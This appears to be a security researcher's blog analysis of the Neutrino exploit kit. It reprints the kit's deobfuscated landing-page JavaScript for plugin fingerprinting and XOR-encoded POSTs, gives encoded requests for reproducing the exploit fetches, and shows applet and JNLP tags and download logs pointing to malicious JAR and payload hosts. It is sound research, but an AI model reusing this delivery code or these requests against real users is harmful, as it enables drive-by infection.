Finally it is time to go all the way and take a real close look at what the Neutrino exploit kit is all about. I have tried a couple of times before, but run out of time and energy before I could finish the task. And as aleways it is great fun analyzing these things.
It could be an idea to take a look at my earlier posts on Neutrino, if you are new to this kit, as I might take some information for granted.
earlier posts:
Neutrino exploit kit landing demystified and
Neutrino exploit kit analysis - where we look into the landing page and how the plugin detection is done.
0. Prologue
The kit has changed and evolved a bit over the past 6 months, but the main parts stay the same. It is built on the same landing with minor changes, the plugin detect are pretty much the same, new exploits have been integrated and now even a 0-Day exploit for Java 1.6.0_45 have been incorporated. The xor schemes have not changed at all.
What drove me to pick up and analyse this kit again was the possybility for uniq exploits as the kit ships versions on Java, PDF, SWF, VLC, WMP, Silverlight, Office and what not as part of the plugin detection process. Well what did we get? read on and you will find out...
As I think this will be my reference post on Neutrino I will try to cover most of the bases. And beware we will use some previously written python code, so don't be confused if you find a link to some nice Monty Python stuff too. Hey lets start with the confusion
"Confuse a cat LMTD".
Special thanks to @malwaresigs for poking my curiosity again with this tweet
and also for providing me with the live kit.
1. How do we get to the landing
As always with xploit kits one of the hardest parts is actually getting to the landing page. With Neutrino we will have to have a referer. Without it we will be seeing 404's a lot. And that is not something we like when we are trying to figure out what a piece of evil code is up to.
A lot of different gates have been published. But now it seem like the guys behind it have gone to simplisity. No variables are used to bring info to the gate:
--2013-09-03 -- hxxp: //ppbenicarlo.com/files
Resolving ppbenicarlo.com... 5.56.22.5
Connecting to ppbenicarlo.com|5.56.22.5|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: hxxp: //ppbenicarlo.com/files/ [following]
--2013-09-03 -- http://ppbenicarlo.com/files/
Connecting to ppbenicarlo.com|5.56.22.5|:80... connected.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: hxxp: //bwlwqxtbjrd.dnsdojo.com:8000/hvvuhbecpodgel?gheouwdi=3251988 [following]
--2013-09-03 -- hxxp: //bwlwqxtbjrd.dnsdojo.com:8000/hvvuhbecpodgel?gheouwdi=3251988
Resolving bwlwqxtbjrd.dnsdojo.com... 94.249.196.115
Connecting to bwlwqxtbjrd.dnsdojo.com|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `redir-16'
0K . 147M=0s
2013-09-03 05:17:51 (147 MB/s) - `redir-16' saved [2016]
So the gate is visited twice. First it redirects to self, then the actual redirect to the landing.
2. The landing explained
< script type = "text/javascript" >
$(document).ready(function() {
req("5225a941aaa2cc9a092b4f1f", "nyqxmafwrhewro", "jvimdr", "suuwfh", "dicktmgczjtshk") //@malforsec hid, post url, xor key, paramname xor, paramname post
});
function req(a, c, e, b, f) { //@malforsec change the order of the input, to confuse?
var h = PluginDetect.getVersion,
d = [{
adobe_reader: "AdobeReader"
}, {
java: "Java"
}, {
flash: "Flash"
}, {
quick_time: "QuickTime"
}, {
real_player: "RealPlayer"
}, {
shockwave: "Shockwave"
}, {
silver_light: "Silverlight"
}, {
vlc: "VLC"
}, {
wmp: "WMP"
}],
g = [];
g.push("hid:::" + a); //@malforsec add host id sepaator :::
for (var k in d) for (var l in d[k]) g.push(l + ":::" + h(d[k][l])); //@malforsec add the plugins separator :::
g.push("office:::" + office_ver());
a = xor;
h = encodeURIComponent;
d = {};
d[b] = e;
d[f] = h(a(g.join(";;;"), e)); //@malforsec join the array separate with ;;;, then xor, then urlencode and HTTP POST
$.post(c, d, function(a, c) {
var b = decodeURIComponent,
d = xor;
$("body").append(d(b(a), e)) //@malforsec add to the html page, run it before it is fully loaded d(b(a), e) -> xor(urldecode(answer from POST))
})
}
function xor(a, c) {
for (var e = "", b = 0, f = 0, b = 0; b < a.length; b++) f = Math.floor(b % c.length), e += String.fromCharCode(a.charCodeAt(b) ^ c.charCodeAt(f));
return e
}
function office_ver() {
var a = 0,
c = 0;
try {
a = new ActiveXObject("SharePoint.OpenDocuments.4")
} catch (e) {}
try {
c = new ActiveXObject("SharePoint.OpenDocuments.3")
} catch (b) {}
return "object" == typeof a && "object" == typeof c ? "2010" : "number" == typeof a && "object" == typeof c ? "2007" : null
}; < /script>
3. So we have been thoroughly searched, what now
As we now know the detected plugins are shipped to the EK engine to prepare a fitting exploit. But what exploits can we be struck by? First lets take a look at the clear text format of the HTTP POST.
id:::5225a941aaa2cc9a092b4f1f;;;adobe_reader:::null;;;java:::1,6,0,45;;;flash:::null;;;quick_time:::null;;;real_player:::null;;;shockwave:::null;;;silver_light:::null;;;vlc:::null;;;wmp:::null;;;office:::null
Pretty neat with name and value pairs separated with ::: between the name and values. And the ;;; to separate the name/value pairs. Easy to parse at the other end of the intertubes. But Neutrino do not send those in clear text. XOR fun and urlencoding is utilized. Can we get the exploits out?
4. Fetching the exploits
When fetching exploits we should not drop a truckload on the intertubes, that could just clog it up. So lets start out really easy, encoding the POST from aboce and just pretend to have Java 1.6.0_45 installed. Which should give us the Java 0-Day from back.
Encoded HTTP POST:
suuwfh=jvimdr&dicktmgczjtshk=%2502%251F%250DW%255EH_D%255BX%2505K%255EG%2508%250C%2505%2540%2509%2515P%250CTKX%2514%255D%250BU%2514QMR%250C%2500%251D%2508%25136%251F%2501%2513%250E%2513%251BW%255EH%2504%2503%2505%2501_IQ%251C%2508%251B%2505HPLXAR%255EZZ%255DX_IQ%2510%2505%250C%2517%251APLS%2503%2511%251E%2506MRV%2515%2507%2503%2515%25022%2510%251B%2507%2513SW%255E%251C%251F%251A%2505V_I%2518%2513%2508%2501%253B%2502%2506%2517%2510%2508%2516HPL%2507%2518%2508%251EQMR%251E%250C%251D%2509%251D%251E%250C%2512%2517PLS%2503%2511%251E%2506MRV%2517%251B%2506%2500%250C%251F%253B%251E%2503%2511%2501%2519%255EHP%2518%251C%2501%2508IQM%251F%2501%2507HPL%2507%2518%2508%251EQMR%251A%2509%2502PLS%2503%2511%251E%2506MRV%250B%2514%250C%251F%250A%2508%255EHP%2518%251C%2501%2508
Now we are ready. Lets fire it and see what happens. We get this back:
V%17%19%1D%08%17%1EV%08%1F%07%1A%03%0CPC%1A%1E%02%19WK%5D%08%01%05%1A%15%0A%1E%14%03%1F%5C%0E%18%1A%09%0B%18%05X%0A%02%09HRFY%5DK%17%12%18%18%06%12%
04%0B%11%0F%09%0CM%13%05%1F%15%1C%1F%06%1D%1C%08%10O%02%15%1A%07%11%1A%05QI%0E%0B%16%0FKN%26%16%17MV%1E%04%06%02KN%5CTUJ%1E%0C%04%03%1A%1EKN%5CTUT%7C%6
0dm%7Bc%7FU%1D%05%0B%1BI%03%05%1F%0FKN%08%1C%17%09QI%1B%05%1E%1F%13TJ%05%3A8F%0A%29%0B%04%26D%23%5E%06%3A%0E%0E%0C%256%1B%0B%18%23%06%28%1F8%03%0A_6%04
%0B%1BQ%18%3D%40S%02%26%07%03%05%272%28%1B%01%1F%24%19%08%14%0B%08%1B%5C%1E4A%06%1E0%5E%3E%40%0F%3E3%074%25%02%1C%0A_%14C%0B1QPCL%60%7F%60dm%7BcJ%19%0C
%16%13%07V%07%0C%09%17WQ%11%06%01%0BMV%1F%0C%08%07%0FKN%0A%0E%1F%07QWgm%7Bc%7F%60QK%13%1A%06%05%08%10L
Yeah, XORED and urlencoded too. As expected from the JavaScript code from the landing. Lets decode it.
<applet archive='hxxp: //bwlwqxtbjrd.dnsdojo.com:8000/exnqkvvagfdh?ysvxxmlkuet=hcsjuho' code='Kre' width='10' height='10'>
<param name='exec' value='aHR0cDovL2J3bHdxeHRianJkLmRuc2Rvam8uY29tOjgwMDAvemNoampybm5sP3lhY3Z2eHZjPWhjc2p1
aG8='>
<param name='xkey' value='gjmm'>
</applet>
That looks good. Nice applet tags. Lets go and fetch the JAR and binary:
Decoded binary URL:
hxxp: //bwlwqxtbjrd.dnsdojo.com:8000/zchjjrnnl?yacvvxvc=hcsjuho
--2013-09-03-- hxxp:// bwlwqxtbjrd.dnsdojo.com:8000/exnqkvvagfdh?ysvxxmlkuet=hcsjuho
Resolving bwlwqxtbjrd.dnsdojo.com... 94.249.196.115
Connecting to bwlwqxtbjrd.dnsdojo.com|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9724 (9.5K) [application/java-archive]
Saving to: `1.6.0_45.jar'
0K ......... 100% 110K=0.09s
2013-09-03 (110 KB/s) - `1.6.0_45.jar' saved [9724/9724]
--2013-09-03 05:29:09-- hxxp: //bwlwqxtbjrd.dnsdojo.com:8000/zchjjrnnl?yacvvxvc=hcsjuho
Resolving bwlwqxtbjrd.dnsdojo.com... 94.249.196.115
Connecting to bwlwqxtbjrd.dnsdojo.com|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 268288 (262K) [application/octet-stream]
Saving to: `1.6.0_45.bin'
2013-09-03 (541 KB/s) - `1.6.0_45.bin' saved [268288/268288]
Sweet stuff. We got what we came for.
Now lets see what else is hidden in the cookie JAR of the Neutrino exploit kit.
Lets fetch the JAR files for version 1.6.0_32
To do that we will have to go all the way through the gate again as the kit just responds with 404's for more fetches after we have downloaded the binary. You can not fetch more JAR files after you have fetched one JAR either,without going via the gate
--2013-09-02 -- hxxp: //scxfwwghjjhtkifqlpm.home.dyndns.org:8000/naovxqrjjp
Resolving scxfwwghjjhtkifqlpm.home.dyndns.org... 94.249.196.115
Connecting to scxfwwghjjhtkifqlpm.home.dyndns.org|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `java-tags_1.6.0_32'
0K 31.4M=0s
2013-09-02 16:17:58 (31.4 MB/s) - `java-tags_1.6.0_32' saved [792]
--2013-09-02 -- hxxp: //scxfwwghjjhtkifqlpm.home.dyndns.org:8000/ebqnyztjjsla?ydzvadw=nckympvem
Resolving scxfwwghjjhtkifqlpm.home.dyndns.org... 94.249.196.115
Connecting to scxfwwghjjhtkifqlpm.home.dyndns.org|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9724 (9.5K) [application/java-archive]
Saving to: `1.6.0_32.jar'
0K ......... 100% 16.0K=0.6s
2013-09-02 16:22:11 (16.0 KB/s) - `1.6.0_32.jar' saved [9724/9724]
Hmm, we got the same JAR. Could be that one exploit is enough for the Java 1.6 branch or there could be more exploits in one JAR. So one JAR for all 1.6.0_* versions
Lets see whats thrown at us if we come with a 1.7.0_* configured client. To cut it short - one JAR for all 1.7 versions too. u11, u14 and u16 fetched below.
First the answer from the HTTP POST:
E%17%07%12%1E%1F%10G%7C~k%7BsmpJ%07%03%1B%09Y%18%16%0F%17GC%13%18%1B%12-%12%16%1C%10PB%04%1B%08%0C%13JE9%08%01W%1C%19%0E%02%5DZs%7F~k%7BsmE%06%16%10%13
%17D%17%17%1A%07O%5D%0E%17%1A%07%3D%17%17%06%1C%12%13%07%16%5DD%0F%17%1B%17%17GC%292NV%10-%13%1E%12%1A4%0B%19V%15%15%08B%13%29%2AB%2B%1B8%08%1B%1B9%
14%28%3D%08%0C%2C%0DR%1B%1E%3C%2B%1B%3B6%15%134%03B%3C%21%23%11.%3A%27%1CZ%13%17Q%0A%154%20%1D%19%09%2F%1B%27186%07%14%23%02%03%1FO%17%1A5%3E%05%11I%26%15
%2F%0DR%1B77M%01%3E%0B0N%06.%0E%02%01%08%0A%15%23%18%10%5B%3B%17%0CI%12%3F%23D6%1D%40%07.%3A%28%12%3E%17%11%02%3B%40C%100%1CC%291%2B%0F35%26%098%2A%23%15%
03-%0FK%03%06.0G%03%25C%11%29%11%18%281%2B%0F35%26%098%2A%2C%2B%06%13%25%0A%164%120%015%02%08%1D2%14%16%3D%08I%1407Y9%03%12%3C43%190%27%28%1DO%06%1F
%2C%11%231N%1B%22%11%5D%2F%20%2C%01%200%0E%13%0F%24%0F%3E%3EO%0E2%15%15.%3A%27%1C%281%2B%0FA%3AE%0E%07%20%09%40%0F%1554J%05.O%022%15%15.%3A%27%1C%28
1%2B%0FA%15%1A4%08%18W%2F%0F.P%244%1E%19%3D%21%23%11.%3A%27%1C%28%22%3D%0B%15E7%15%1B%2C3%1A-%08B%13%051%24G%016%15%125D%07%0A%16%17%21%0C%15D4%076%
097%151K%0D%07%14O%1C%06%254T%1A%0FN%0A%16%226%0F%2C0%15%04%1B%0E3%0C-1%3B%1D%14%20%0E%01%40%16%12%1B%1CG%0B%3F%29PJ%3D%0E%2B%156%1EM%3D43%190%27%28
%1D%3D%21%26%02%15%20.%3E%05%132.%15%2C%1DR%1B%1B%2C%2BF%14%26%1D%0C%28K%1A85O%16%23%3E%25%12%11-.%0D%17D%20B%19%23%2B%0F%121G%15%06KG%1B5%16%11%1D.
%10%17%10I.%179%1D%05%057%208-5%06J%3EJ%3C%02%06%40%20%16%1A%18%1B%16%16H%0FV%13%2F%28A%20%093%1A%13%0C4N%3E%13G%078%1F%02U%1AE1T%16%17%22%0F%3F%1E%20%
06%233%15%03%2718J%07%17%20%1B%2B%1B%3B%12%29%11%18%281%2B%0F35%26%09J6W3%1A%14PKK%07%148%1B%01%08N%2F%3A%27%1C%281%2B%0F3%260%24%05%19%23%01%1A%13%21C%11
%3E%218%1D%2B5K%0C%18%21C%16%2BH%1C%11%15D%2FK3%0F%0D%0F-1%3B%1D%06%140%038%26J%0D%28.5%15%10%3D2I%3F%1E%20A%1B3%2BF%16%26B%13%29-7%1E%2B5%12%08%18%21%13%
0D%16%3ET%10%3B%23%23%1B%2A%03%16%3C43%190%27%28%1D%3D2%3A8%0C%1A%1B1%16%3B%3DQ%11%14%207K3%08%40%10.%3A0%0D%06%3E%20G%3AA4%1E%1D%1ANP%2B-%1C%09%2C0%24B%2
03%28%1F%3E%2A%28%12%061%20%1B2%210T%1A%18%21%0E%3B%13%25%0F%26%10%0D895%12%3C43%19B%07%3E0%0E%3B%25J%03%1B%1B1%16%28.T%10%2C%2F%0A%1E%23%1D0%11%13%0F4%09
.%23N%2B%1F%3C-%2C%1C5%08%20%3D%5DK%223%28%01%1EU%09%3E9%3A8%1B7%3F%3C%3BC%1E%2F%1D12%18%23%10%26%13%24F%28G%2024G%15P%3B%03%29.%0E%1E0%40%02U%230%1
F%0C%16--%03%25%1AW%22%1B%09%1DE%237%208%14%20%026%1C%12%0C%1B%22%21Q%2B%11%07H8%1B%12%07%2F%0A%15%27%3AP%0AI%3E%3D%3C8%40%28%11%28%1B%03%03%20H%17L
%2F%21%06%13%19V%2B%2F%23%0C%1A%16%06%15%06%18%3B%1C%19%5D%29%25%3E%05%3EP25%26%09895%12%3C%27%2A0%12%07%140%03%2B5O%0C%1B%21%22%5B%3B%14%0C%0B%2C%2F%0
9%1B3%2C%23%1E%15%2A%24%164%2A%3C%0F8A0W0%1F6%14%22%1D%0B35%26%09895%12N%3BP4%0D%07%3E%0E%1B%061K%0F%23.9%08%22%1D%0B35%26%09890%0E%16%0FG%09%07%3DBJEL
pmp%7F~kNU%05%09%06%1B%07%06D
Decoding:
<applet>
<param name='jnlp_href' value='Kre.jnlp'>
<param name='jnlp_embedded' value='PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KCQkJCQk8am5scCBocmV
mPSJLcmUuam5scCIgc3BlYz0iMS4wIiB4bWxuczpqZng9Imh0dHA6Ly9qYXZhZnguY29tIj4KCQkJCQkJPGluZm9ybWF0aW9uPgoJCQkJCQkJPHRpdGxlPkFwcGxldDwvdGl0bGU+CgkJCQkJCQk8dmVuZ
G9yPk9yYWNsZTwvdmVuZG9yPgoJCQkJCQk8L2luZm9ybWF0aW9uPgoJCQkJCQk8cmVzb3VyY2VzPgoJCQkJCQkJPGoyc2UgaHJlZj0iaHR0cDovL2phdmEuc3VuLmNvbS9wcm9kdWN0cy9hdXRvZGwvajJ
zZSIgdmVyc2lvbj0iMS43KyIgLz4KCQkJCQkJCTxqYXIgaHJlZj0iaHR0cDovL2lwZG5rZHRpcWJta3B0cGRyeS5ob21lbGludXgub3JnOjgwMDAvZWt0Z3Jud2Zrcnltd2k/eXJ3ZmJldnF4Zj1pZmx1c
3F6dmFvIiBtYWluPSJ0cnVlIiAvPgoJCQkJCQk8L3Jlc291cmNlcz4KCQkJCQkJPGFwcGxldC1kZXNjIG1haW4tY2xhc3M9IktyZSIgbmFtZT0iQXBwbGV0IiB3aWR0aD0iMTAiIGhlaWdodD0iMTAiPgo
JCQkJCQkJPHBhcmFtIG5hbWU9Il9fYXBwbGV0X3Nzdl92YWxpZGF0ZWQiIHZhbHVlPSJ0cnVlIiAvPgoJCQkJCQk8cGFyYW0gbmFtZT0iZXhlYyIgdmFsdWU9ImFIUjBjRG92TDJsd1pHNXJaSFJwY1dKd
GEzQjBjR1J5ZVM1b2IyMWxiR2x1ZFhndWIzSm5Pamd3TURBdmVuTnhhbTV3Ykc1NlpuUnlQM2x3ZDJOb2RuQmtaR2s5YVdac2RYTnhlblpoYnc9PSIgLz4KCQkJCQkJPHBhcmFtIG5hbWU9InhrZXkiIHZ
hbHVlPSJxZ3J3IiAvPgoJCQkJCQk8L2FwcGxldC1kZXNjPgoJCQkJCTwvam5scD4='>
Decoding:
<?xml version="1.0" encoding="utf-8"?>
<jnlp href="Kre.jnlp" spec="1.0" xmlns:jfx="http://javafx.com">
<information>
<title>Applet</title>
<vendor>Oracle</vendor>
</information>
<resources>
<j2se href="http://java.sun.com/products/autodl/j2se" version="1.7+" />
<jar href="hxxp: //ipdnkdtiqbmkptpdry.homelinux.org:8000/ektgrnwfkrymwi?yrwfbevqxf=iflusqzvao" main
="true" />
</resources>
<applet-desc main-class="Kre" name="Applet" width="10" height="10">
<param name="__applet_ssv_validated" value="true" />
<param name="exec" value="aHR0cDovL2lwZG5rZHRpcWJta3B0cGRyeS5ob21lbGludXgub3JnOjgwMDAvenNxam5wbG56ZnRyP3lw
d2NodnBkZGk9aWZsdXNxenZhbw==" />
<param name="xkey" value="qgrw" />
</applet-desc>
</jnlp>
So the Java 1.7 branch uses jnlp.
Fetching:
-2013-09-02-- hxxp: //ipdnkdtiqbmkptpdry.homelinux.org:8000/ektgrnwfkrymwi?yrwfbevqxf=iflusqzvao
Resolving ipdnkdtiqbmkptpdry.homelinux.org... 94.249.196.115
Connecting to ipdnkdtiqbmkptpdry.homelinux.org|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9724 (9.5K) [application/java-archive]
Saving to: `1.7.0_16.jar'
0K ......... 100% 30.9K=0.3s
2013-09-02 (30.9 KB/s) - `1.7.0_16.jar' saved [9724/9724]
--2013-09-02 -- hxxp: //gsojvgunokhgrv.homelinux.org:8000/egsdfpw?yutephlcpugl=muyluxwkui
Resolving gsojvgunokhgrv.homelinux.org... 94.249.196.115
Connecting to gsojvgunokhgrv.homelinux.org|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9724 (9.5K) [application/java-archive]
Saving to: `1.7.0_14.jar'
0K ......... 100% 51.0K=0.2s
2013-09-02 (51.0 KB/s) - `1.7.0_14.jar' saved [9724/9724]
--2013-09-02 -- hxxp: //tbyvfuyoeticobvsmlj.homelinux.org:8000/eflkzub?ytozyyp=eoitnyee
Resolving tbyvfuyoeticobvsmlj.homelinux.org... 94.249.196.115
Connecting to tbyvfuyoeticobvsmlj.homelinux.org|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9724 (9.5K) [application/java-archive]
Saving to: `1.7.0_11.jar'
0K ......... 100% 62.3K=0.2s
2013-09-02 (62.3 KB/s) - `1.7.0_11.jar' saved [9724/9724]
Now to the mystery of VLC, Silverlight, Office, ODF, SWF and so on. What is hidden:
Here are some of the versions tested:
Clear text and encoded HTTP POST:
post PDF:
hid:::5225a941aaa2cc9a092b4f1f;;;adobe_reader:::8,0,0,456;;;java:::null;;;flash:::null;;;quick_time:::null;;;real_player:::null;;;shockwave:::null;;;silver_light:::null;;;vlc:::null;;;wmp:::null;;;office:::null
suuwfh=jvimdr&dicktmgczjtshk=%2502%251F%250DW%255EH_D%255BX%2505K%255EG%2508%250C%2505%2540%2509%2515P%250CTKX%2514%255D%250BU%2514QMR%250C%2500%251D%2508%25136%251F%2501%2513%250E%2513%251BW%255EHRZYAT%255E%255EC_V_I%2500%2517%251F%250C%255EHP%2518%251C%2501%2508IQM%250F%2501%2505%2501%2502LSW%250A%2507%2506%251ARV_%2503%251F%251F%250A%2506%253B%2506%2503%251B%250CW%255EH%2504%2503%2505%2501_IQ%2504%250C%250C%2508-%251A%251A%2508%2514%2501%2500PLS%2503%2511%251E%2506MRV%2517%251A%2505%2515%2502%251A%2505%2504%250FLSW%250A%2507%2506%251ARV_%2501%2503%251A%251F%2508%2516-%2506%251F%250E%2505%2510HPL%2507%2518%2508%251EQMR%251B%2508%2511PLS%2503%2511%251E%2506MRV%2513%251F%251ALSW%250A%2507%2506%251ARV_%251D%250C%2510%2500%250E%2501HPL%2507%2518%2508%251E
post Flash:
hid:::5225a941aaa2cc9a092b4f1f;;;adobe_reader:::null;;;java:::null;;;flash:::10,3,183,14;;;quick_time:::null;;;real_player:::null;;;shockwave:::null;;;silver_light:::null;;;vlc:::null;;;wmp:::null;;;office:::null
suuwfh=jvimdr&dicktmgczjtshk=%2502%251F%250DW%255EH_D%255BX%2505K%255EG%2508%250C%2505%2540%2509%2515P%250CTKX%2514%255D%250BU%2514QMR%250C%2500%251D%2508%25136%251F%2501%2513%250E%2513%251BW%255EH%2504%2503%2505%2501_IQ%251C%2508%251B%2505HPL%2507%2518%2508%251EQMR%250B%2508%2513%2519%251ESW%255ECZZZAUJYZXY_IQ%2507%251C%2504%2507%25195%2502%2500%2500%2501HPL%2507%2518%2508%251EQMR%251F%2501%2513%2506)%2519%2501%2505%250B%250F%2504SW%255E%251C%251F%251A%2505V_I%2519%251E%2506%250E%250F%2505%250B%2500%250CW%255EH%2504%2503%2505%2501_IQ%2505%2500%2501%2512%2517%2518)%2505%2504%2503%251A%251ELSW%250A%2507%2506%251ARV_%2504%2506%2515SW%255E%251C%251F%251A%2505V_I%251D%251B%2519W%255EH%2504%2503%2505%2501_IQ%2519%250F%250B%250D%2511%250FLSW%250A%2507%2506%251A
post VLC:
hid:::5225a941aaa2cc9a092b4f1f;;;adobe_reader:::null;;;java:::null;;;flash:::null;;;quick_time:::null;;;real_player:::null;;;shockwave:::null;;;silver_light:::null;;;vlc:::2,0,3;;;wmp:::null;;;office:::null
suuwfh=jvimdr&dicktmgczjtshk=%2502%251F%250DW%255EH_D%255BX%2505K%255EG%2508%250C%2505%2540%2509%2515P%250CTKX%2514%255D%250BU%2514QMR%250C%2500%251D%2508%25136%251F%2501%2513%250E%2513%251BW%255EH%2504%2503%2505%2501_IQ%251C%2508%251B%2505HPL%2507%2518%2508%251EQMR%250B%2508%2513%2519%251ESW%255E%251C%251F%251A%2505V_I%251B%2503%2500%250E%250F-%251E%251F%2504%2508%255EHP%2518%251C%2501%2508IQM%251B%2508%2505%251E5%2506%2505%250C%251D%2517%2518LSW%250A%2507%2506%251ARV_%2501%2502%2519%250A%2506%2513%2513%251C%2513SW%255E%251C%251F%251A%2505V_I%2519%251F%2505%251B%2501%25005%251A%2500%250A%250C%2506PLS%2503%2511%251E%2506MRV%2512%251E%2509LSWV%255EZZZV_I%251D%251B%2519W%255EH%2504%2503%2505%2501_IQ%2519%250F%250B%250D%2511%250FLSW%250A%2507%2506%251A
post Silverlight:
hid:::5225a941aaa2cc9a092b4f1f;;;adobe_reader:::null;;;java:::null;;;flash:::null;;;quick_time:::null;;;real_player:::null;;;shockwave:::null;;;silver_light:::4.1.10111;;;vlc:::null;;;wmp:::null;;;office:::null
suuwfh=jvimdr&dicktmgczjtshk=%2502%251F%250DW%255EH_D%255BX%2505K%255EG%2508%250C%2505%2540%2509%2515P%250CTKX%2514%255D%250BU%2514QMR%250C%2500%251D%2508%25136%251F%2501%2513%250E%2513%251BW%255EH%2504%2503%2505%2501_IQ%251C%2508%251B%2505HPL%2507%2518%2508%251EQMR%250B%2508%2513%2519%251ESW%255E%251C%251F%251A%2505V_I%251B%2503%2500%250E%250F-%251E%251F%2504%2508%255EHP%2518%251C%2501%2508IQM%251B%2508%2505%251E5%2506%2505%250C%251D%2517%2518LSW%250A%2507%2506%251ARV_%2501%2502%2519%250A%2506%2513%2513%251C%2513SW%255E%251C%251F%251A%2505V_I%2519%251F%2505%251B%2501%25005%251A%2500%250A%250C%2506PLSYJCDGY%255CUCQMR%251B%2508%2511PLS%2503%2511%251E%2506MRV%2513%251F%251ALSW%250A%2507%2506%251ARV_%251D%250C%2510%2500%250E%2501HPL%2507%2518%2508%251E
PS: All these are encoded based on the landing on the top if you want to reproduce it.
Here are the fetch results:
--2013-09-02-- hxxp: //cqowynqjwwgtbed.ham-radio-op.net:8000/nnkboixgotwwk
Resolving cqowynqjwwgtbed.ham-radio-op.net... 94.249.196.115
Connecting to cqowynqjwwgtbed.ham-radio-op.net|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `pdf-1'
0K 0.00 =0s
2013-09-02 (0.00 B/s) - `pdf-1' saved [0]
--2013-09-01 -- hxxp: //cgudhxvieudmocisb.mine.nu:8000/noaulughyvxd
Resolving cgudhxvieudmocisb.mine.nu... 94.249.196.115
Connecting to cgudhxvieudmocisb.mine.nu|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `silverlight-1'
0K 0.00 =0s
2013-09-01 (0.00 B/s) - `silverlight-1' saved [0]
--2013-09-01 -- hxxp: //bsovyhrmpfbysdgn.mine.nu:8000/nizhpcdk
Resolving bsovyhrmpfbysdgn.mine.nu... 94.249.196.115
Connecting to bsovyhrmpfbysdgn.mine.nu|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `swf-2'
0K 0.00 =0s
2013-09-01 (0.00 B/s) - `swf-2' saved [0]
--2013-09-01 -- hxxp: //qxihsmncllgyj.selfip.com:8000/nudyitxgn
Resolving qxihsmncllgyj.selfip.com... 94.249.196.115
Connecting to qxihsmncllgyj.selfip.com|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `vlc-2'
0K 0.00 =0s
2013-09-01 (0.00 B/s) - `vlc-2' saved [0]
Yes 200 OK's from the server the request is accepted :) But what happens? Zero content. OK so it looks like the kit is accepting requests but have nothing to serve us. Lets validate with Java 1.7.0_25.
You get the idea with the encoded HTTP POST now so lets just look at the JAR fetch:
--2013-09-02 -- hxxp: //ekutxbbvwqrnpt.home.dyndns.org:8000/nddangrrqdjblwm
Resolving ekutxbbvwqrnpt.home.dyndns.org... 94.249.196.115
Connecting to ekutxbbvwqrnpt.home.dyndns.org|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `java-tags_1.7.0_25'
0K 0.00 =0s
2013-09-02 (0.00 B/s) - `java-tags_1.7.0_25' saved [0]
HTTP 200 OK with zero content is the behaviour of the Neutrino EK if it has no exploit to serve you with an otherwise OK request.
5. JARs only
So we have estblished, in opposite, to what I thought that the Neutrino expoloit kit only serve Java exploits. If we look at the advertisement on Neutrino posted over at
malware.dontneedcoffee.com
that was the intial setup, and I guess the author have not incorporated more exploits, as promised. Why send that info into the kit then? I do not know and can only speculate. Could be to collect info on potential new exploits to add or just to waste peoples, like me, time :) Whatever, we now know the entire exploit range of the kit.
6. Sidestep
Ofthen when I look into EKs I mess it up and get frustrated. No exception this time. As I sat last night going through the kit and was about to fetch a JAR I got a 404 I did not expect to see. Crap I thought - did it shut me off???? Not only a HTTP 404 but it redirected to this domain too:
hxxp: //qtqexjfgnmcsp.issmarterthanyou.com:8000/hluqlxpl?gmmqbqknblp=3251988
issmarterthanyou.com -> WTF. I mught be stupid but I'm not a fool.
Excellent idea for all you exploit kit making guys out there: redirect me to a cool domainname when I screw it up :). The real reason was of course a typo 1.6.0.45 instead of 1.6.0_45 in the User-Agent string. Through me off for a couple of ms there.
7. Back on track
Having covered the expoits lets have a look at the binaries. Over a period of a couple of days I have received 2 different binary files from the kit. All binaries from Neutrino are XORed and need to be decoded before they can be executed.
fetching binaries:
remember this is the param exec from the applet tags received after we POST in our data:
--2013-09-03-- hxxp: //bwlwqxtbjrd.dnsdojo.com:8000/zchjjrnnl?yacvvxvc=hcsjuho
Resolving bwlwqxtbjrd.dnsdojo.com... 94.249.196.115
Connecting to bwlwqxtbjrd.dnsdojo.com|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 268288 (262K) [application/octet-stream]
Saving to: `1.6.0_45.bin'
0K .......... .......... .......... .......... .......... 19% 208K 1s
50K .......... .......... .......... .......... .......... 38% 929K 0s
100K .......... .......... .......... .......... .......... 57% 682K 0s
150K .......... .......... .......... .......... .......... 76% 938K 0s
200K .......... .......... .......... .......... .......... 95% 1.03M 0s
250K .......... .. 100% 766K=0.5s
2013-09-03 (541 KB/s) - `1.6.0_45.bin' saved [268288/268288]
Lets have a look at one of them:
000000: 2a30 c3bd 6d64 6a6d 6d63 6a6d 6dc2 98c2 *0..mdjmmcjmm...
0000010: 956d 6dc3 9f6a 6d6d 676a 6d6d 276a 6d6d .mm..jmmgjmm'jmm
0000020: 676a 6d6d 676a 6d6d 676a 6d6d 676a 6d6d gjmmgjmmgjmmgjmm
0000030: 676a 6d6d 676a 6d6d 676a 6d6d 676a 6d6d gjmmgjmmgjmmgjmm
0000040: c28f 6a6d 6d69 75c3 9763 67c3 9e64 c2a0 ..jmmiu..cg..d..
0000050: 46c3 926c 21c2 aa4b 3905 0e19 4d1d 1505 F..l!..K9...M...
0000060: 0a1f 0607 4d0e 0604 0302 134a 0f08 4718 ....M......J..G.
